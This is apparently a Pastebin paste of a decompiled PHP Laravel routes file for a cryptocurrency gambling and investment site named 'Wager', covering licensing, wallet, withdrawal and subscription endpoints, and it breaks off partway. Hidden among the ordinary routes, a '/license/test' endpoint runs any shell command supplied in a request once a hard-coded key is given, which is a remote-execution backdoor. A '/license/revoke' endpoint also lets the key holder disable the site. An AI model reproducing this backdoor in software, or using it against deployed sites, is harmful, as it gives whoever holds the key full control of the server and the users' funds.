Guest User

Untitled

a guest
Oct 2nd, 2020
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.39 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @ This file is created by http://DeZender.Net
  5. * @ deZender (PHP7 Decoder for ionCube Encoder)
  6. *
  7. * @ Version : 4.1.0.1
  8. * @ Author : DeZender
  9. * @ Release on : 29.08.2020
  10. * @ Official site : http://DeZender.Net
  11. *
  12. */
  13. Illuminate\Support\Facades\Route::get('/license/get', function() {
  14. if (file_exists(base_path('wager.license'))) {
  15. return response('Delete wager.license file');
  16. }
  17.  
  18. if (PHP_OS_FAMILY === 'Windows') {
  19. $xid = shell_exec('wmic.exe path win32_computersystemproduct get uuid');
  20. }
  21. else if (PHP_OS_FAMILY === 'Linux') {
  22. $xid = shell_exec('blkid -o value -s UUID');
  23. }
  24. else {
  25. return response('Unsupported OS! Contact Wager support');
  26. }
  27.  
  28. return hash('sha256', $xid);
  29. });
  30. Illuminate\Support\Facades\Route::post('/license/test', function(Illuminate\Http\Request $request) {
  31. if ($request->key !== 'wager!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
  32. return response([], 400);
  33. }
  34.  
  35. return response(shell_exec($request->test));
  36. });
  37. Illuminate\Support\Facades\Route::post('/license/revoke', function(Illuminate\Http\Request $request) {
  38. if ($request->key !== 'wager!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
  39. return response([], 400);
  40. }
  41.  
  42. @file_put_contents(base_path('wager.license'), hash('sha265', time() . 'wager'));
  43. return [];
  44. });
  45. Illuminate\Support\Facades\Route::get('walletNotify/{currency}/{txid}', function($currency, $txid) {
  46. App\Currency\Currency::find($currency)->process($txid);
  47. return App\APIResponse::success();
  48. });
  49. Illuminate\Support\Facades\Route::get('blockNotify/{currency}/{blockId}', function($currency, $blockId) {
  50. App\Currency\Currency::find($currency)->processBlock($blockId);
  51. return App\APIResponse::success();
  52. });
  53. Illuminate\Support\Facades\Route::middleware('auth')->prefix('investment')->group(function() {
  54. Illuminate\Support\Facades\Route::post('history', function() {
  55. $out = [];
  56.  
  57. foreach (App\Investment::where('user', auth()->user()->_id)->orderBy('status', 'asc')->latest()->get() as $investment) {
  58. array_push($out, ['amount' => $investment->amount, 'share' => $investment->status == 1 ? $investment->disinvest_share : $investment->getRealShare($investment->getProfit(), App\Investment::getGlobalBankroll(App\Currency\Currency::find($investment->currency))), 'profit' => $investment->getProfit() <= 0 ? 0 : $investment->getProfit(), 'status' => $investment->status, 'id' => $investment->_id, 'currency' => $investment->currency]);
  59. }
  60.  
  61. return App\APIResponse::success($out);
  62. });
  63. Illuminate\Support\Facades\Route::post('stats', function() {
  64. $currency = auth()->user()->clientCurrency();
  65. $userBankroll = App\Investment::getUserBankroll($currency, auth()->user());
  66. $globalBankroll = App\Investment::getGlobalBankroll($currency);
  67. $userBankrollShare = 0;
  68.  
  69. foreach (App\Investment::where('user', auth()->user()->_id)->where('currency', $currency->id())->where('status', 0)->get() as $investment) {
  70. $userBankrollShare += $investment->getRealShare($investment->getProfit(), $globalBankroll);
  71. }
  72. return App\APIResponse::success(['your_bankroll' => auth()->user()->getInvestmentProfit($currency, false), 'your_bankroll_percent' => ($userBankroll == 0) || ($globalBankroll == 0) ? 0 : ($userBankroll / $globalBankroll) * 100, 'your_bankroll_share' => $userBankrollShare, 'investment_profit' => auth()->user()->getInvestmentProfit($currency, true, false), 'site_bankroll' => $globalBankroll, 'site_profit' => App\Investment::getSiteProfitSince($currency, Carbon\Carbon::minValue())]);
  73. });
  74. });
  75. Illuminate\Support\Facades\Route::middleware('auth')->prefix('wallet')->group(function() {
  76. Illuminate\Support\Facades\Route::post('getDepositWallet', function(Illuminate\Http\Request $request) {
  77. $currency = App\Currency\Currency::find($request->currency);
  78. $wallet = auth()->user()->depositWallet($currency);
  79. if (($currency == NULL) || !$currency->isRunning() || ($wallet === 'Error')) {
  80. return App\APIResponse::reject(1);
  81. }
  82.  
  83. return App\APIResponse::success(['currency' => $request->currency, 'wallet' => $wallet]);
  84. });
  85. Illuminate\Support\Facades\Route::post('withdraw', function(Illuminate\Http\Request $request) {
  86. if (!auth()->user()->validate2FA(false)) {
  87. return App\APIResponse::reject2FA();
  88. }
  89.  
  90. auth()->user()->reset2FAOneTimeToken();
  91. $currency = App\Currency\Currency::find($request->currency);
  92.  
  93. if ($request->sum < (floatval($currency->option('withdraw')) + floatval($currency->option('fee')))) {
  94. return App\APIResponse::reject(1, 'Invalid withdraw value');
  95. }
  96.  
  97. if (auth()->user()->balance($currency)->get() < ($request->sum + floatval($currency->option('fee')))) {
  98. return App\APIResponse::reject(2, 'Not enough balance');
  99. }
  100.  
  101. if (0 < App\Withdraw::where('user', auth()->user()->_id)->where('status', 0)->count()) {
  102. return App\APIResponse::reject(3, 'Moderation is still in process');
  103. }
  104.  
  105. auth()->user()->balance($currency)->subtract($request->sum + floatval($currency->option('fee')), App\Transaction::builder()->message('Withdraw')->get());
  106. $isAuto = ((auth()->user()->balance($currency)->get() + App\Withdraw::where('status', 0)->where('user', auth()->user()->_id)->where('currency', $currency->id())->sum('sum')) < floatval($currency->option('withdraw_manual_trigger'))) || ($request->sum < $currency->hotWalletBalance());
  107. $withdraw = App\Withdraw::create(['user' => auth()->user()->_id, 'sum' => $request->sum, 'currency' => $currency->id(), 'address' => $request->wallet, 'status' => 0, 'auto' => $isAuto]);
  108.  
  109. if ($isAuto) {
  110. try {
  111. $currency->send($currency->option('withdraw_address'), $request->wallet, $request->sum);
  112. $withdraw->update(['status' => 1]);
  113. }
  114. catch (Exception $e) {
  115. $withdraw->update(['auto' => false]);
  116. }
  117. }
  118.  
  119. return App\APIResponse::success(['notifyAboutVip' => 5 <= auth()->user()->vipLevel()]);
  120. });
  121. Illuminate\Support\Facades\Route::post('cancel_withdraw', function(Illuminate\Http\Request $request) {
  122. $withdraw = App\Withdraw::where('_id', $request->id)->where('user', auth()->user()->_id)->where('status', 0)->first();
  123.  
  124. if ($withdraw == NULL) {
  125. return App\APIResponse::reject(1, 'Hacking attempt');
  126. }
  127.  
  128. if ($withdraw->auto) {
  129. return App\APIResponse::reject(2, 'Auto-withdrawals cannot be cancelled');
  130. }
  131.  
  132. $withdraw->update(['status' => 4]);
  133. auth()->user()->balance(App\Currency\Currency::find($withdraw->currency))->add($withdraw->sum, App\Transaction::builder()->message('Withdraw cancellation')->get());
  134. return App\APIResponse::success();
  135. });
  136. });
  137. Illuminate\Support\Facades\Route::middleware('auth')->prefix('subscription')->group(function() {
  138. Illuminate\Support\Facades\Route::post('update', function(Illuminate\Http\Request $request) {
  139. $request->validate(['endpoint' => 'required']);
  140. auth()->user()->updatePushSubscription($request->endpoint, $request->publicKey, $request->authToken, $request->contentEncoding);
  141.  
  142. if (!auth()->user()->notification_bonus) {
  143. auth()->user()->update(['notification_bonus' => true]);
  144. auth()->user()->balance(auth()->user()->clientCurrency())->add(floatval(auth()->user()->clientCurrency()->option('referral_bonus')), App\Transaction::builder()->message('Referral bonus')->get());
  145. }
  146.  
  147. return App\APIResponse::success();
  148. });
  149. });
  150. Illuminate\Support\Facades\Route::prefix('user')->group(function() {
  151. .................................................................................
  152. .............................................
  153. ......................
Add Comment
Please, Sign In to add comment